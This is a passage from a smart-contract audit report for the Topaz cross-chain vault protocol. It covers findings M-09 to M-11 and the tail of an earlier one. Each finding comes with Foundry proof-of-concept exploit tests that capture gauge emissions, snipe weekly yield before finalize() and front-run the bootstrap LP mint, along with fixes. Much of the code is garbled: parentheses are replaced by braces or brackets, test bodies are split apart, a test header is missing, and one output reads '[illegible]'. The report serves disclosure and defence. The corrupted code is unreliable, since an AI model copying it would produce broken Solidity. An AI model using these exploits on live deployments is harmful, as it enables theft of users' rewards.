- forwards the available gas into `redeem()` and performs the fallback in its catch block:

```
function _compose( bytes32 guid, uint32, bytes32 composeFrom, uint256 amount, bytes memory payload ) internal
override {
  address receiver = _fallbackTo(composeFrom, payload);
  XTOPAZ.forceApprove(address(VAULT), amount);
  try VAULT.redeem(amount, receiver) returns (uint256 tokenId, uint256 assets) {
    emit Unwrapped(guid, receiver, amount, tokenId, assets);
  } catch (bytes memory reason) {
    XTOPAZ.forceApprove(address(VAULT), 0);
    XTOPAZ.safeTransfer(receiver, amount);
    emit FallbackDelivered(guid, receiver, amount, reason);
  }
}
```

docs/frontend-integration.md:81 says that direct OFT sends can leave `extraOptions` empty, and line 105 documents `HubUnwrapComposer` as the bridge-back-and-unwrap route.

Impact

A bridge-back-and-unwrap message that relies on the enforced option stalls after its xTOPAZ has reached `HubUnwrapComposer`. The receiver gets neither a permanent veNFT nor the fallback xTOPAZ during the original execution. Someone must identify the failed compose and pay to retry it with a larger gas limit.

The recipient can recover by submitting the queued compose with more gas. The composer owner can also return the tokens through `rescue()`. Until one of those actions occurs, the documented default flow has a deterministic liveness failure and the recipient cannot use the bridged amount. The PoC does not show theft or permanent loss.

Proof of Concept

This test is already committed to the repository at `topaz-xchain/test/foundry/audit/HubUnwrapComposeGasPoc.t.sol`, so no file needs to be created:

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

import {OptionsBuilder} from "@layerzerolabs/oapp-evm/contracts/oapp/libs/OptionsBuilder.sol";
import {MessagingReceipt} from "@layerzerolabs/lz-evm-protocol-v2/contracts/interfaces/ILayerZeroEndpointV2.sol";
import {OFTReceipt} from "@layerzerolabs/oft-evm/contracts/interfaces/OFT.sol";
import {OFTComposeMsgCodec} from "@layerzerolabs/oft-evm/contracts/libs/OFTComposeMsgCodec.sol";

import {CrossChainFixture} from "../CrossChainFixture.sol";

contract HubUnwrapComposeGasPoc is CrossChainFixture {
    using OptionsBuilder for bytes;

    uint256 internal constant AMOUNT = 1_000 * TOKEN_1;
    uint128 internal constant PRODUCTION_COMPOSE_GAS = 600_000;
    uint128 internal constant FIXTURE_COMPOSE_GAS = 1_000_000;
    uint128 internal constant SUCCESSFUL_RETRY_GAS = 1_050_000;

    function setUp() public override {
        super.setUp();
        _deposit{alice, 10_000 * TOKEN_1};
    }

    function executeComposeAtGas(uint128 gasBudget, bytes32 guid, bytes calldata composerMsg) external {
        bytes memory options = OptionsBuilder.newOptions().addExecutorLzComposeOption(0, gasBudget, 0);
        this.lzCompose(HUB_EID, address(realAdapter), options, guid, address(unwrapComposer), composerMsg);
    }
}
```

```

function test_productionGasFailsButHigherGasRetryCompletes() public {
    _sendHubToSpoke(alice, alice, AMOUNT, "");
    _deliverToSpoke();

    bytes memory payload = abi.encode(alice);
    (MessagingReceipt memory receipt, OFTReceipt memory oftReceipt) = _sendSpokeToHub(
        alice,
        address(unwrapComposer),
        AMOUNT,
        payload
    );
    _deliverToHub();

    bytes memory composerMsg = OFTComposeMsgCodec.encode(
        receipt.nonce,
        SPOKE_EID,
        oftReceipt.amountReceivedLD,
        abi.encodePacked(addressToBytes32(alice), payload)
    );
    uint256 nextTokenId = escrow.tokenId() + 2;

    assertEq(xTopaz.balanceOf(address(unwrapComposer)), AMOUNT);
    assertEq(escrow.balanceOf(alice), 0);

    (bool productionSucceeded, ) = address(this).call(
        abi.encodeCall(this.executeComposeAtGas, (PRODUCTION_COMPOSE_GAS, receipt.guid, composerMsg))
    );
    assertFalse(productionSucceeded);
    assertEq(xTopaz.balanceOf(address(unwrapComposer)), AMOUNT);
    assertEq(escrow.balanceOf(alice), 0);

    (bool fixtureBudgetSucceeded, ) = address(this).call(
        abi.encodeCall(this.executeComposeAtGas, (FIXTURE_COMPOSE_GAS, receipt.guid, composerMsg))
    );
    assertFalse(fixtureBudgetSucceeded);
    assertEq(xTopaz.balanceOf(address(unwrapComposer)), AMOUNT);

    this.executeComposeAtGas(SUCCESSFUL_RETRY_GAS, receipt.guid, composerMsg);

    assertEq(xTopaz.balanceOf(address(unwrapComposer)), 0);
    assertEq(escrow.ownerOf(nextTokenId), alice);
    assertTrue(escrow.locked(nextTokenId).isPermanent);
}
}

```

Run from `topaz-xchain` :

```

FOUNDRY_DISABLE_NIGHTLY_WARNING=1 forge test --match-contract HubUnwrapComposeGasPoc -w

```

The test result is:

```
[PASS] test_productionGasFailsButHigherGasRetryCompletes() (gas: 4565920)
```

Suite result: ok. 1 passed; 0 failed; 0 skipped

Recommendation

Profile the full executor, endpoint, composer and vault path against the most expensive supported redemption state. Raise the enforced hub compose limit above that result with enough margin for compiler, dependency and state changes. Keep this PoC as a release regression so configuration changes cannot restore an insufficient allowance.

Reserve enough gas for the catch block before calling `redeem()`. That lets the composer return xTOPAZ to the receiver if the unwrap subcall exhausts its allotted gas.

Team Response

Fixed.

M-09

MEDIUM

FIXED

A Permissionless `SystemGauge` Lets Its First Later Staker Capture the Whole Banked Allocation

Description

The pool factory registered for the system pool is an ordinary permissionless `PoolFactory`, and `SystemGaugeFactory.createGauge()` accepts whatever pool the Voter hands it. The BNB Voter lets anyone create a gauge for a real pool from an approved factory when both of its tokens are whitelisted. Together these let any user create a second pool through that factory and register a second `SystemGauge` for it.

That gauge does not stream. `notifyRewardAmount()` banks the whole allocation in `unallocated` when nothing is staked. The first later deposit checkpoints the depositor at the old index, makes them the entire supply, and only then credits the bank, so their next `getReward()` realises all of it.

The result is a Voter-registered gauge whose complete weekly allocation is claimable in the same block as the first dust deposit, with no time-weighted liquidity behind it. An ordinary gauge pays out over seven days.

The absent `claimFees()` forwarding noted in the earlier review is a side effect of the same unrestricted factory. Immediate emission capture is the material impact.

Location of Affected Code

The wiring is not fixture-specific. `topaz-xchain/deploy/03_hub_system_gauge.ts:24-31` deploys the `SystemPoolFactory` as a fresh instance of the audited `PoolFactory` artifact, and lines 39-55 have the `FactoryRegistry` approve that instance against `SystemGaugeFactory`. `PoolFactory.createPool()` is `public` with no access control at `topaz-xchain/test/foundry/bnb-core/factories/PoolFactory.sol:116`, so the approved factory keeps accepting new pools after the system pool is created.

File: [topaz-xchain/test/foundry/bnb-core/Voter.sol#L322-L346](#)

- gauge creation is open to anyone once both tokens are whitelisted:

```
function createGauge(address _poolFactory, address _pool) external nonReentrant returns (address) {
    address sender = _msgSender();
    if (!FactoryRegistry(factoryRegistry).isPoolFactoryApproved(_poolFactory)) revert FactoryPathNotApproved();
    if (gauges[_pool] != address(0)) revert GaugeExists();
    // code

    if (sender != governor) {
        if (!isPool) revert NotAPool();
        if (!isWhitelistedToken[token0] || !isWhitelistedToken[token1]) revert NotWhitelistedToken();
    }
    // code
}
```

File: [topaz-xchain/contracts/hub/SystemGaugeFactory.sol#L21-L32](#)

- no binding to the intended pool:

```
function createGauge(
    address,
    address pool,
    address feesVotingReward,
    address rewardToken,
    bool isPool
) external returns (address gauge) {
    if (msg.sender != voter) revert NotVoter();
    gauge = address(new SystemGauge(pool, feesVotingReward, rewardToken, voter, isPool));
    gaugeForPool[pool] = gauge;
    emit SystemGaugeCreated(pool, gauge);
}
```

File: [topaz-xchain/contracts/hub/SystemGauge.sol#L146-L150](#)

- the whole allocation is banked when nothing is staked:

```

function notifyRewardAmount(uint256 amount) external nonReentrant {
    // code
    if (totalSupply == 0) {
        unallocated += amount;
        emit RewardBanked(amount);
        return;
    }
    // code
}

```

File: [topaz-xchain/contracts/hub/SystemGauge.sol#L162-L176](#)

- the first later depositor is checkpointed before becoming the supply, then the bank is released:

```

function _deposit(uint256 amount, address recipient) internal nonReentrant {
    if (amount == 0) revert ZeroAmount();
    if (!Voter(voter).isAlive(address(this))) revert NotAlive();
    _updateRewards(recipient);
    IERC20(stakingToken).safeTransferFrom(msg.sender, address(this), amount);
    totalSupply += amount;
    balanceOf[recipient] += amount;
    emit Deposit(msg.sender, recipient, amount);
    if (unallocated > 0) {
        uint256 banked = unallocated;
        unallocated = 0;
        _credit(banked);
        emit RewardReleased(banked);
    }
}

```

Impact

A gauge type designed for one trusted staker is reachable for arbitrary pools, with reward semantics the AMM's LP-incentive model does not expect. Every TOPAZ routed to such a gauge can be taken by whoever deposits first after distribution, with a dust position, in one transaction.

The size of the incremental gain depends on where the votes come from. When a third party or a bribe supplies them, rewards meant to pay for a week of liquidity go to someone who supplied essentially none. When the votes are the attacker's own, an ordinary gauge would already pay them close to the same amount as sole LP; what they gain is an instant payout instead of a seven-day stream, and immunity to mid-week dilution by other LPs. Either way the design goal of the non-streaming gauge is defeated: a weekly incentive becomes an instant payout with no liquidity commitment.

The intended system gauge keeps a permanent staker, so it is not the target. The exposure is every extra gauge the factory can be made to create.

Proof of Concept

Save as `topaz-xchain/test/foundry/audit/SystemGaugeFanoutPoc.t.sol`:

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

import {HubFixture} from "../HubFixture.sol";
import {Pool} from "../bnb-core/Pool.sol";
import {SystemGauge} from "../../contracts/hub/SystemGauge.sol";

contract SystemGaugeFanoutPoC is HubFixture {
    function test_unprivilegedFirstStakerCapturesCompleteBankedAllocation() public {
        // WETH and USDT are already whitelisted and the dedicated pool-factory route is approved
        // during the hub bootstrap. Alice holds no protocol role.
        uint256 tokenAmountPerPool = 1_000_000;
        weth.mint(alice, 2 * tokenAmountPerPool);
        usdt.mint(alice, 2 * tokenAmountPerPool);
        vm.startPrank(alice);
        Pool extraPool = Pool(systemPoolFactory.createPool(address(weth), address(usdt), false));
        SystemGauge extraGauge = SystemGauge(voter.createGauge(address(systemPoolFactory), address(extraPool)));
        vm.stopPrank();

        assertTrue(address(extraGauge) != address(systemGauge), "a second specialized gauge exists");
        assertEq(voter.gauges(address(extraPool)), address(extraGauge), "and the Voter registered it");
        assertEq(extraGauge.totalSupply(), 0, "with no stake");

        // Equal vote weight to the extra gauge and to a normal streaming gauge, which is the control.
        uint256 tokenId = _createPermanentLock(alice, 1_000_000 * TOKEN_1);
        address[] memory pools = new address[](2);
        pools[0] = address(extraPool);
        pools[1] = address(pool);
        uint256[] memory weights = new uint256[](2);
        weights[0] = 1;
        weights[1] = 1;
        vm.prank(alice);
        voter.vote(tokenId, pools, weights);

        _warpToNextEpochStart();
        address[] memory gauges = new address[](2);
        gauges[0] = address(extraGauge);
        gauges[1] = address(gauge);
        vm.prank(alice);
        voter.distribute(gauges);

        uint256 banked = extraGauge.unallocated();
        uint256 streamed = topaz.balanceOf(address(gauge));
        assertEq(banked, streamed, "equal votes produce equal allocations");
    }
}
```

```

assertGt(banked, WEEK, "above the Voter's minimum distribution threshold");
assertEq(extraGauge.earned(alice), 0, "nothing earned before staking");
assertEq(gauge.earned(alice), 0, "control gauge accrues nothing without stake");

// Dust LP in each, at the distribution timestamp.
vm.startPrank(alice);
weth.transfer(address(extraPool), tokenAmountPerPool);
usdt.transfer(address(extraPool), tokenAmountPerPool);
uint256 attackerSystemLp = extraPool.mint(alice);
extraPool.approve(address(extraGauge), attackerSystemLp);
extraGauge.deposit(attackerSystemLp);

weth.transfer(address(pool), tokenAmountPerPool);
usdt.transfer(address(pool), tokenAmountPerPool);
uint256 attackerStandardLp = pool.mint(alice);
pool.approve(address(gauge), attackerStandardLp);
gauge.deposit(attackerStandardLp);
vm.stopPrank();

assertEq(extraGauge.unallocated(), 0, "the first stake releases the bank");
assertEq(extraGauge.earned(alice), banked, "the dust staker is owed the whole allocation");
assertEq(gauge.earned(alice), 0, "the standard gauge owes nothing at this timestamp");

uint256 attackerTopazBefore = topaz.balanceOf(alice);
vm.startPrank(alice);
extraGauge.getReward(alice);
gauge.getReward(alice);
vm.stopPrank();

assertEq(
    topaz.balanceOf(alice) - attackerTopazBefore,
    banked,
    "the whole weekly allocation is captured immediately"
);
assertEq(topaz.balanceOf(address(extraGauge)), 0, "every notified TOPAZ leaves the gauge");
assertEq(topaz.balanceOf(address(gauge)), streamed, "the standard gauge keeps streaming");
}
}

```

Run from `topaz-xchain` :

```
FOUNDRY_DISABLE_NIGHTLY_WARNING=1 forge test --match-contract SystemGaugeFanoutPoC -vv
```

Observed: 1 passed, 0 failed, 0 skipped.

```

[PASS] test_unprivilegedFirstStakerCapturesCompleteBankedAllocation()
Suite result: ok. 1 passed; 0 failed; 0 skipped

```

Both gauges receive the same allocation from equal vote weight. At the same timestamp the extra gauge pays the dust staker everything and the standard gauge pays zero. The fixture amount is not a loss forecast; the property is scale-independent.

Recommendation

Bind `SystemGaugeFactory` to the one intended system pool. Fix it at construction or set it once before the factory is approved, and revert for any other `pool` argument. Reject a second creation for that pool as well.

Add regressions proving that Voter-mediated creation succeeds once for the intended pool and reverts for every other pool routed through this factory.

Team Response

Fixed.

M-10

MEDIUM

FIXED

Entering the Hub Vault After the Vote but Before `finalize()` Snipes the Week's Emission

Description

The aggregate veNFT earns the week's system-gauge emission using the capital that was in the vault when `SystemGaugeStrategy.vote()` ran. The vault keeps minting shares until `EpochCoordinator.finalize()` locks that emission. Nothing closes the earning cohort in between.

Anyone can enter after the vote, then call the permissionless `finalize()` themselves. The emission is fixed by then, so the portion that stays on the hub, the part not minted as spoke budget, raises assets per share for every share outstanding at that moment, including shares minted seconds earlier. Once the vote resets, the entrant redeems into a permanent veNFT worth more than the one they wrapped.

`canEnter()` checks only initialisation and the manual pause. The NFT check inside `wrapVe` rejects a vote recorded in the current epoch, so after the Thursday rollover an NFT that voted last epoch passes it. `_syncVoteWeight()` also skips the poke during the first hour and swallows poke failures, so entry works inside the exact window in which settlement happens.

The round trip is repeatable with the same capital. `redeem()` returns a permanent `NORMAL` veNFT that has never voted, so it passes the `lastVoted < epochStart` gate again the following week.

This is not the loose-TOPAZ finding reported in an earlier external review. That finding covered loose TOPAZ already sitting in the vault, and its fix locks such balances before every pricing call, so `_syncRebase` sees them. The emission here is still held by the system gauge when entry happens. Nothing in the vault can see it, and locking loose TOPAZ does not close this path.

Location of Affected Code

File: [topaz-xchain/contracts/hub/VeTopazVault.sol#L116-L118](#)

- no settlement gate:

```
function canEnter() public view returns (bool) {  
    return aggregateTokenId != 0 && !entryPaused;  
}
```

File: [topaz-xchain/contracts/hub/VeTopazVault.sol#L152-L156](#)

- Both entry paths mint against the pre-emission rate, `depositTopaz()` at lines 144-160 and `wrapVe` at lines 162-196:

```
function depositTopaz( uint256 amount, address receiver ) external nonReentrant whenInitialized returns (uint256  
shares) {  
    // code  
    shares = convertToShares(amount);  
    if (shares == 0) revert ZeroShares();  
    TOPAZ.safeTransferFrom(msg.sender, address(this), amount);  
    _lockIntoAggregate(amount);  
    XTOPAZ.mint(receiver, shares);  
    // code  
}
```

File: [topaz-xchain/contracts/hub/EpochCoordinator.sol#L114-L120](#)

- the already-earned emission is priced against the post-entry supply and locked:

```
function finalize() external nonReentrant {  
    // code  
    uint256 budgetTopaz = ISystemGaugeStrategy(strategy).claimEmissions();  
    VAULT.claimRebase();  
  
    (uint256 canonical, uint256 assigned) = _snapshotSupplies(epoch);  
    uint256 budgetShares = budgetTopaz == 0 ? 0 : VAULT.convertToShares(budgetTopaz);  
    uint256 minted = _assignBudgets(epoch, budgetShares, canonical);  
    if (budgetTopaz > 0) ISystemGaugeStrategy(strategy).lockEmissions(budgetTopaz, minted, address(this));  
    // code  
}
```

Impact

Holders who were wrapped when the vote was cast give up part of the week's yield to capital that arrived after it was earned. With no spoke supply, incumbents holding `S` shares and a late entrant receiving `x` shares split the week as `x / (S + x)` to the entrant. The share taken rises with the entrant's capital.

The spokes lose as well, which the hub-side arithmetic alone does not show. The entrant's newly minted shares raise `canonical`, and each spoke budget is computed as `budgetShares * supplyByEid[e] / canonical` at `topaz-xchain/contracts/hub/EpochCoordinator.sol:221`:

File: [topaz-xchain/contracts/hub/EpochCoordinator.sol#L221](#)

```
uint256 budget = canonical == 0 ? 0 : (budgetShares * supply) / canonical;
chainBudget[epoch][eid] = budget;
```

A larger `canonical` with unchanged per-spoke numerators shrinks every spoke's budget for that epoch. So a pre-`finalize` entry dilutes the hub-retained portion and reduces what every chain receives.

It repeats every epoch, needs no privileged role, and is ordering-safe because the same account can call `finalize()`. The exit restores the original permanent capital form, so the entrant is not exposed to anything beyond the round trip. The one real cost is opportunity cost: when `finalize` runs promptly inside the 00:00 to 01:00 window, the entrant's NFT must be unvoted for that epoch, because a still-voted NFT cannot be reset inside the Voter's distribute window. When `finalize` is late, a mode the epoch documentation supports, even that cost disappears.

Proof of Concept

Save as `topaz-xchain/test/foundry/audit/PreFinalizeEntrySnipingPoc.t.sol`:

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

import {HubFixture} from "../HubFixture.sol";

contract PreFinalizeEntrySnipingPoC is HubFixture {
    uint256 internal constant CAPITAL = 1_000_000e18;

    function test_alreadyPermanentUnvotedNftRoundTripsWithProfit() public {
        uint256 attackerTokenId = _createPermanentLock(alice, CAPITAL);
        _voteAndRoll();

        // Settle the attacker's own rebase first, so the comparison isolates the system emission
        // earned by the pre-existing aggregate vote.
    }
```

```

minter.updatePeriod();
distributor.claim(attackerTokenId);
uint256 capitalBefore = _lockedAmount(attackerTokenId);

vm.startPrank(alice);
escrow.approve(address(vault), attackerTokenId);
uint256 shares = vault.wrapVe(attackerTokenId, alice);
vm.stopPrank();

coordinator.finalize();
vm.warp(_epochStart() + 1 hours + 1);
strategy.reset();

vm.startPrank(alice);
xTopaz.approve(address(vault), shares);
(uint256 redeemedTokenId, uint256 assetsOut) = vault.redeem(shares, alice);
vm.stopPrank();

assertGt(assetsOut, capitalBefore, "idle permanent veNFT captures the pending emission");
assertTrue(escrow.locked(redeemedTokenId).isPermanent, "same permanent capital form is restored");
emit log_named_decimal_uint("existing-veNFT profit", assetsOut - capitalBefore, 18);
}

function test_wrapBeforeFinalizeCapturesPendingHubEmission() public {
    _voteAndRoll();

    uint256 attackerTokenId = _createPermanentLock(alice, CAPITAL);
    vm.startPrank(alice);
    escrow.approve(address(vault), attackerTokenId);
    uint256 shares = vault.wrapVe(attackerTokenId, alice);
    vm.stopPrank();

    coordinator.finalize();
    (, uint256 budgetTopaz, uint256 minted, ) = coordinator.epochs(coordinator.finalizedEpoch());
    assertGt(budgetTopaz, 0);
    assertEq(minted, 0, "no spoke supply: the hub allocation raises the share rate");

    vm.warp(_epochStart() + 1 hours + 1);
    strategy.reset();

    vm.startPrank(alice);
    xTopaz.approve(address(vault), shares);
    (uint256 redeemedTokenId, uint256 assetsOut) = vault.redeem(shares, alice);
    vm.stopPrank();

    assertGt(assetsOut, CAPITAL, "pre-finalize entrant captures pending emission");
    assertTrue(escrow.locked(redeemedTokenId).isPermanent, "capital exits in its original permanent form");
    emit log_named_decimal_uint("attacker profit", assetsOut - CAPITAL, 18);
}

```

```

function test_control_wrapAfterFinalizeCannotCapturePendingHubEmission() public {
    _voteAndRoll();
    uint256 attackerTokenId = _createPermanentLock(alice, CAPITAL);

    coordinator.finalize();

    vm.startPrank(alice);
    escrow.approve(address(vault), attackerTokenId);
    uint256 shares = vault.wrapVe(attackerTokenId, alice);
    vm.stopPrank();

    vm.warp(_epochStart() + 1 hours + 1);
    strategy.reset();

    vm.startPrank(alice);
    xTopaz.approve(address(vault), shares);
    [uint256 assetsOut] = vault.redeem(shares, alice);
    vm.stopPrank();

    assertLe(assetsOut, CAPITAL, "post-finalize entry is priced after the emission");
    assertApproxEqAbs(assetsOut, CAPITAL, 10_000, "only floor rounding remains");
}

function test_depositBeforeFinalizeProfitsWithExistingSpokeSupply() public {
    uint256 holderShares = _deposit(bob, CAPITAL);
    uint256 spokeSupply = holderShares * 4 / 10;
    vm.prank(bob);
    xTopaz.transfer(address(adapter), spokeSupply);
    adapter.setSupply(EID_ROBINHOOD, spokeSupply);

    _voteAndRoll();

    uint256 shares = _deposit(alice, CAPITAL);
    coordinator.finalize();

    [uint256 budgetTopaz, uint256 minted, ] = coordinator.epochs(coordinator.finalizedEpoch());
    assertGt(budgetTopaz, 0);
    assertGt(minted, 0, "the spoke still receives a budget");
    assertEq(xTopaz.balanceOf(address(adapter)), spokeSupply, "spoke counter is backed by adapter custody");

    vm.warp(_epochStart() + 1 hours + 1);
    strategy.reset();

    vm.startPrank(alice);
    xTopaz.approve(address(vault), shares);
    [uint256 redeemedTokenId, uint256 assetsOut] = vault.redeem(shares, alice);
    vm.stopPrank();

    assertGt(assetsOut, CAPITAL, "fresh depositor captures the unminted hub allocation");
}

```

```

    assertTrue(escrow.locked(redeemedTokenId).isPermanent);
    emit log_named_decimal_uint("deposit-path profit", assetsOut - CAPITAL, 18);
}

/// @notice The victim side: a holder already wrapped when the aggregate voted earns strictly
/// less, because a late entrant shares the same fixed emission.
function test_loyalHolderIsDilutedByThePreFinalizeEntrant() public {
    uint256 bobShares = _wrapPermanent(bob, CAPITAL);
    _voteAndRoll();

    uint256 snap = vm.snapshotState();

    // Counterfactual: nobody enters between the vote and finalize.
    coordinator.finalize();
    uint256 bobAssetsHonest = vault.convertToAssets(bobShares);

    vm.revertToState(snap);

    // Attack: the sniper wraps after the vote window closed, before finalize prices the epoch.
    uint256 sniperTokenId = _createPermanentLock(alice, CAPITAL);
    vm.startPrank(alice);
    escrow.approve(address(vault), sniperTokenId);
    vault.wrapVe(sniperTokenId, alice);
    vm.stopPrank();

    coordinator.finalize();
    uint256 bobAssetsSniped = vault.convertToAssets(bobShares);

    assertLt(bobAssetsSniped, bobAssetsHonest, "loyal holder diluted by the pre-finalize entrant");
    emit log_named_decimal_uint("loyal holder loss", bobAssetsHonest - bobAssetsSniped, 18);
}

function test_lateFinalizeLetsPreviouslyVotedNftEnterAndExitAtomically() public {
    uint256 attackerTokenId = _createPermanentLock(alice, CAPITAL);

    _warpToVoteWindow();
    strategy.vote();
    _vote(alice, attackerTokenId, address(pool));
    _warpToNextEpochAfterDistributeWindow();

    minter.updatePeriod();
    distributor.claim(attackerTokenId);
    uint256 capitalBefore = _lockedAmount(attackerTokenId);

    vm.startPrank(alice);
    escrow.approve(address(vault), attackerTokenId);
    uint256 shares = vault.wrapVe(attackerTokenId, alice);
    vm.stopPrank();

```

```

coordinator.finalize();
strategy.reset();

vm.startPrank(alice);
xTopaz.approve(address(vault), shares);
(uint256 redeemedTokenId, uint256 assetsOut) = vault.redeem(shares, alice);
vm.stopPrank();

assertGt(assetsOut, capitalBefore, "late finalize removes the idle-capital and holding-period cost");
assertTrue(escrow.locked(redeemedTokenId).isPermanent);
emit log_named_decimal_uint("late-finalize atomic profit", assetsOut - capitalBefore, 18);
}
}

```

Run from `topaz-xchain` :

```

FOUNDRY_DISABLE_NIGHTLY_WARNING=1 forge test --match-contract PreFinalizeEntrySnipingPoC -vv

```

Observed: 6 passed, 0 failed, 0 skipped.

```

[PASS] test_alreadyPermanentUnvotedNftRoundTripsWithProfit()
[PASS] test_control_wrapAfterFinalizeCannotCapturePendingHubEmission()
[PASS] test_depositBeforeFinalizeProfitsWithExistingSpokeSupply()
[PASS] test_lateFinalizeLetsPreviouslyVotedNftEnterAndExitAtomically()
[PASS] test_loyalHolderIsDilutedByThePreFinalizeEntrant()
[PASS] test_wrapBeforeFinalizeCapturesPendingHubEmission()
Suite result: ok. 6 passed; 0 failed; 0 skipped

```

The suite covers both entry paths, a post-finalize negative control that returns principal only, the case with real spoke supply, the loss measured on a loyal holder, and the fully atomic version available when finalization is late. Fixture amounts are not a loss forecast, because `HubFixture` seeds the vault with 1,000 TOPAZ; the proportional transfer above is the property being shown.

Recommendation

Carry a settlement-entry lock across the strategy, coordinator and vault. Set it only after `strategy.vote()` succeeds. Keep `depositTopaz` and `wrapVe` closed through rollover and any delayed settlement.

```

function canEnter() public view returns (bool) {
    return aggregateTokenId != 0 && !entryPaused && !settlementEntryLocked;
}

```

Clear the lock at the end of a successful `finalize()` after all external calls and epoch accounting have completed. The clear must also run when `budgetTopaz == 0`, since that path does not call `lockEmission()`. A reverted finalization must leave the lock set. `lockEmission()` itself must remain callable while entry is closed.

Associate the lock with its vote epoch so a stale call cannot release a later settlement. Time windows do not cover late finalization, and an address cooldown can be bypassed by transferring or bridging xTOPAZ. Regression tests should cover a zero-emission finalization, every external-call revert and a successful retry.

Team Response

Fixed.

M-11

MEDIUM

FIXED

Front-Running the Initial System-Pool Mint Captures Almost All Weekly TOPAZ

Description

The system pool relies on both dummy tokens having a fixed supply and all of its circulating LP being owned by `SystemGaugeStrategy`. The deployment script breaks that assumption during bootstrap. It transfers dummy A, transfers dummy B and mints LP to the strategy in three separate transactions.

After the two transfers, both token balances are in the pool while its stored reserves and LP supply are still zero. Any account can call the inherited pool's `skim()` and `mint()` functions. An attacker can take the unaccounted tokens, use most of them to mint nearly all initial LP, then return a small balanced amount before the deployer's pending mint. The deployer still receives nonzero LP, so the remaining deployment checks and gauge registration complete without exposing the takeover.

The strategy checks only that it owns some LP and that the gauge uses the chosen pool. It does not require the strategy to own all circulating LP. The intended `SystemGauge` also permits any LP holder to deposit. Once weekly TOPAZ is distributed to that gauge, rewards are divided by LP stake and the attacker receives almost the entire allocation.

M-09 concerns extra pools and gauges created through the approved factory. This path takes over the intended pool and its intended gauge, so restricting `SystemGaugeFactory` to that pool does not prevent it.

An earlier review's partial-deployment note discussed accidental reruns after only one token transfer and offered two remedies: check balances independently, or make the seed atomic. The landed code took the first, which fully solves the rerun problem it was written for. It does not close the public first-mint window, and the second remedy would have. This is a separate defect rather than an incomplete fix. The earlier note did not identify outside LP ownership, permissionless gauge deposits or recurring emission capture.

Location of Affected Code

File: [topaz-xchain/deploy/O3_hub_system_gauge.ts#L88-L96](#)

- sends the tokens and mints LP in separate transactions:

```
if (BigInt([await read("SystemPool", "totalSupply")].toString()) === 0n) {
  for (const token of ["SystemDummyTokenA", "SystemDummyTokenB"]) {
    const inPool = BigInt([await read(token, "balanceOf", pool)].toString());
    const missing = BigInt(supply) - inPool;
    if (missing > 0n) await execute(token, { from: deployer, log: true }, "transfer", pool, missing.toString());
  }
  await execute("SystemPool", { from: deployer, log: true }, "mint", strategy.address);
  log("all system LP minted to the strategy");
}
```

File: [topaz-xchain/test/foundry/bnb-core/Pool.sol#L390-L394](#)

- The inherited pool exposes permissionless first minting at [topaz-xchain/test/foundry/bnb-core/Pool.sol:305-328](#) and permits anyone to skim balances above its stored reserves at lines 390-394:

```
function skim(address to) external nonReentrant {
  [address_token0, address_token1] = [token0, token1];
  IERC20[_token0].safeTransfer(to, IERC20[_token0].balanceOf(address(this)) - (reserve0));
  IERC20[_token1].safeTransfer(to, IERC20[_token1].balanceOf(address(this)) - (reserve1));
}
```

File: [topaz-xchain/contracts/hub/SystemGaugeStrategy.sol#L118-L128](#)

- accepts any nonzero LP balance, while

File: [topaz-xchain/contracts/hub/SystemGauge.sol#L102-L108](#)

- allows the attacker to deposit the remaining LP into the same gauge.


```

new SystemGaugeStrategy(address(this), address(vault), address(voter), address(escrow), address(topaz));

// This is the public state after the script's transfers and before mint(strategy).
attackedA.transfer(address(attackedPool), DUMMY_SUPPLY);
attackedB.transfer(address(attackedPool), DUMMY_SUPPLY);
[uint256 reserve0, uint256 reserve1] = attackedPool.getReserves();
assertEq(reserve0, 0);
assertEq(reserve1, 0);
assertEq(attackedPool.totalSupply(), 0);

// Alice takes the first mint and leaves enough for the pending deployment mint
vm.startPrank(alice);
attackedPool.skim(alice);
attackedA.transfer(address(attackedPool), DUMMY_SUPPLY - 2_000);
attackedB.transfer(address(attackedPool), DUMMY_SUPPLY - 2_000);
uint256 attackerLp = attackedPool.mint(alice);
attackedA.transfer(address(attackedPool), 2_000);
attackedB.transfer(address(attackedPool), 2_000);
vm.stopPrank();

uint256 strategyLp = attackedPool.mint(address(victimStrategy));
assertEq(attackerLp, DUMMY_SUPPLY - 3_000);
assertEq(strategyLp, 2_000);
assertEq(attackedPool.totalSupply(), DUMMY_SUPPLY);

SystemGauge attackedGauge = SystemGauge(voter.createGauge(address(attackedFactory),
address(attackedPool)));
victimStrategy.stake(address(attackedPool), address(attackedGauge));

vm.startPrank(alice);
attackedPool.approve(address(attackedGauge), attackerLp);
attackedGauge.deposit(attackerLp);
vm.stopPrank();

EpochCoordinator victimCoordinator =
    new EpochCoordinator(address(this), address(vault), address(xTopaz), address(voter), address(minter));
MockOFTAdapter victimAdapter = new MockOFTAdapter(address(xTopaz));
vault.setStrategy(address(victimStrategy));
victimStrategy.setCoordinator(address(victimCoordinator));
victimCoordinator.setStrategy(address(victimStrategy));
victimCoordinator.setSystemGauge(address(attackedGauge));
victimCoordinator.setAdapter(address(victimAdapter));

_warpToVoteWindow();
victimStrategy.vote();
_warpToNextEpochAfterDistributeWindow();

uint256 attackerTopazBefore = topaz.balanceOf(alice);
victimCoordinator.finalize();

```

```
uint256 totalNotified = attackedGauge.totalNotified();
uint256 attackerEarned = attackedGauge.earned(alice);
(, uint256 strategyClaimed,,) = victimCoordinator.epochs(_epochStart{});

emit log_named_uint("total weekly TOPAZ notified", totalNotified);
emit log_named_uint("TOPAZ claimable by attacker", attackerEarned);
emit log_named_uint("TOPAZ claimed by strategy/coordinator", strategyClaimed);

assertGt(totalNotified, 0);
assertGt(attackerEarned, (totalNotified * 999) / 1_000);
assertLt(strategyClaimed, totalNotified / 1_000);

vm.prank(alice);
attackedGauge.getReward(alice);

assertEq(topaz.balanceOf(alice) - attackerTopazBefore, attackerEarned);
assertGt(topaz.balanceOf(alice) - attackerTopazBefore, strategyClaimed * 1_000_000_000_000);
}
```

Run from `topaz-xchain` :

```
FOUNDRY_DISABLE_NIGHTLY_WARNING=1 forge test --match-contract SystemPoolBootstrapFrontrunPoC -w
```

Test output:

[illegible]

The PoC uses the quiet variant: the attacker skims, mints, and returns a 2,000-unit balanced top-up so the deployer's pending `mint(strategy)` still succeeds and the script completes normally. Simply calling `mint(attack)` also takes all the LP, but then the deployer's mint reverts with `InsufficientLiquidityMinted` and the takeover is visible.

Recommendation

